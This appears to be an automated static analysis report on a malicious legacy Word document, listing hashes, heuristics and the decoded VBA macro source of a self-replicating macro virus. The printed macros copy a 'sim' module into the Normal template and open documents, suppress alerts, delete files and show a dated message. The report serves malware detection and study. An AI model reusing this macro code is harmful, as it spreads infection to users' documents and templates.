Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5fdcec401c1fc5dc…

MALICIOUS

Office (OLE)

42.0 KB Created: 2001-01-09 14:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9e9131dcc085680aa09d4de80cdac766 SHA-1: 6abfb7e9e9f87f7cb09f897824a81d5bfa62e9da SHA-256: 5fdcec401c1fc5dc6318a50f60679251f787be3e81534ba887243dc06e60853f
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The script attempts to export and import a VBA component named 'sim' to the Normal template and the active document, suggesting an attempt at persistence or propagation. The ClamAV detection 'Doc.Trojan.CrazyMan-1' further supports the malicious classification.

Heuristics 6

  • ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 43,008 bytes but its declared streams total only 21,657 bytes — 21,351 bytes (50%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13531 bytes
SHA-256: 14ec375bb3d2867b4c72ca2d71fa63f5d61f05e13bfb31362da332afc4880b0a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sim"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = True
Options.SaveNormalPrompt = True
Options.ConfirmConversions = True
CommandBars("Tools").Enabled = True
CommandBars("File").Enabled = True
CommandBars("Edit").Enabled = True
CommandBars("View").Enabled = True
CommandBars("Insert").Enabled = True
CommandBars("Format").Enabled = True
CommandBars("Table").Enabled = True
CommandBars("Window").Enabled = True
CommandBars("Help").Enabled = True
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "sim" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "sim" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("sim").Export ("c:\sim.txt")

If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\sim.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\sim.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If

Label_Exit:
CommandBars("Tools").Enabled = True
CommandBars("File").Enabled = True
CommandBars("Edit").Enabled = True
CommandBars("View").Enabled = True
CommandBars("Insert").Enabled = True
CommandBars("Format").Enabled = True
CommandBars("Table").Enabled = True
CommandBars("Window").Enabled = True
CommandBars("Help").Enabled = True
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
If Day(Now) = 2 And Month(Now) = 9 Then MsgBox "Emmie was here!", vbCritical
Application.DisplayAlerts = wdAlertsNone
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "sim" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "sim" Then ActiveInstall = True
Next i
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\sim.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\sim.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

Public Sub AutoExec()
On Error Resume Next
CommandBars("Tools").Enabled = True
CommandBars("File").Enabled = True
CommandBars("Edit").Enabled = True
CommandBars("View").Enabled = True
CommandBars("Insert").Enabled = True
CommandBars("Format").Enabled = True
CommandBars("Table").Enabled = True
CommandBars("Window").Enabled = True
CommandBars("Help").Enabled = True
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Options.VirusProtection = True
End Sub
Sub AutoExit()
On Error Resume Next
Kill ("c:\sim.txt")
Kill ("c:\dumplog.txt")
If Day(Now) = 13 Then MsgBox "Emmie was here!", vbCritical
End Sub



' Processing file: /opt/analyzer/scan_staging/dfd72d313c064809a23f628a445defaa.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/sim - 5214 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnE
... (truncated)